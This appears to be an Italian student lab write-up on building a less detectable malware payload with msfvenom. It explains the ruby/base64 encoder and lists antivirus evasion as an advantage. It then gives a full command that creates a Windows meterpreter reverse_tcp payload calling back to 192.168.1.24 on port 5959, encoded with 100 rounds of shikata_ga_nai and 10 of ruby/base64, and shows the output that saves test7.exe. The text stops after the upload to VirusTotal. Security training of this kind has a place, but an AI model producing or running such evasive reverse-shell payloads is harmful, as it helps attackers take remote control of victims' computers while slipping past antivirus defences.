S9 L1 Creazione di un Malware con Msfvenom

Creazione di un malware utilizzando msfvenom che sia meno rilevabile rispetto al malware analizzato durante la lezione.

Per rendere il payload meno rilevabile ho fatto una ricerca dei vari encoder e ho trovato questo: **ruby/base64**

Come funziona **ruby/base64**

Codifica Base64: Il payload viene convertito in una stringa di testo utilizzando l'algoritmo Base64. Questo metodo rappresenta i dati binari in un formato leggibile con caratteri alfanumerici più i simboli + e /.

Generazione del codice Ruby: Il payload codificato in Base64 viene inserito in uno script Ruby che include un metodo per decodificare e eseguire il payload.

Esecuzione: Quando lo script viene eseguito, il payload viene decodificato in memoria e successivamente eseguito.

Vantaggi:

1. **Compatibilità con script Ruby**: Il payload può essere facilmente incluso in un ambiente Ruby per sfruttare vulnerabilità legate all'esecuzione di codice.
2. **Offuscamento**: I dati codificati in Base64 appaiono come testo alfanumerico, rendendo meno evidente il contenuto del payload.
3. **Evasione di sistemi di rilevamento**: In alcuni casi, la codifica Base64 può bypassare sistemi di sicurezza che analizzano il contenuto grezzo dei file.

Ricordandomi che i payload erano scritti in ruby ho ritenuto efficace questo encoder.

```
┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.24 LPORT=5959 -a x86 --platform windows -e x86/shikata_ga_nai -i 100 -f raw | msfvenom -a x86 --
platform windows -e ruby/base64 -i 10 -f raw -o test7.exe
```

Ultimato il processo mi ha creato il file test7.exe

```
Found 1 compatible encoders
Attempting to encode payload with 10 iterations of ruby/base64
ruby/base64 succeeded with size 4301 (iteration=0)
ruby/base64 succeeded with size 5765 (iteration=1)
ruby/base64 succeeded with size 7717 (iteration=2)
ruby/base64 succeeded with size 10321 (iteration=3)
ruby/base64 succeeded with size 13793 (iteration=4)
ruby/base64 succeeded with size 18421 (iteration=5)
ruby/base64 succeeded with size 24593 (iteration=6)
ruby/base64 succeeded with size 32821 (iteration=7)
ruby/base64 succeeded with size 43793 (iteration=8)
ruby/base64 succeeded with size 58421 (iteration=9)
ruby/base64 chosen with final size 58421
Payload size: 58421 bytes
Saved as: test7.exe
```

Ho caricato il payload in total virus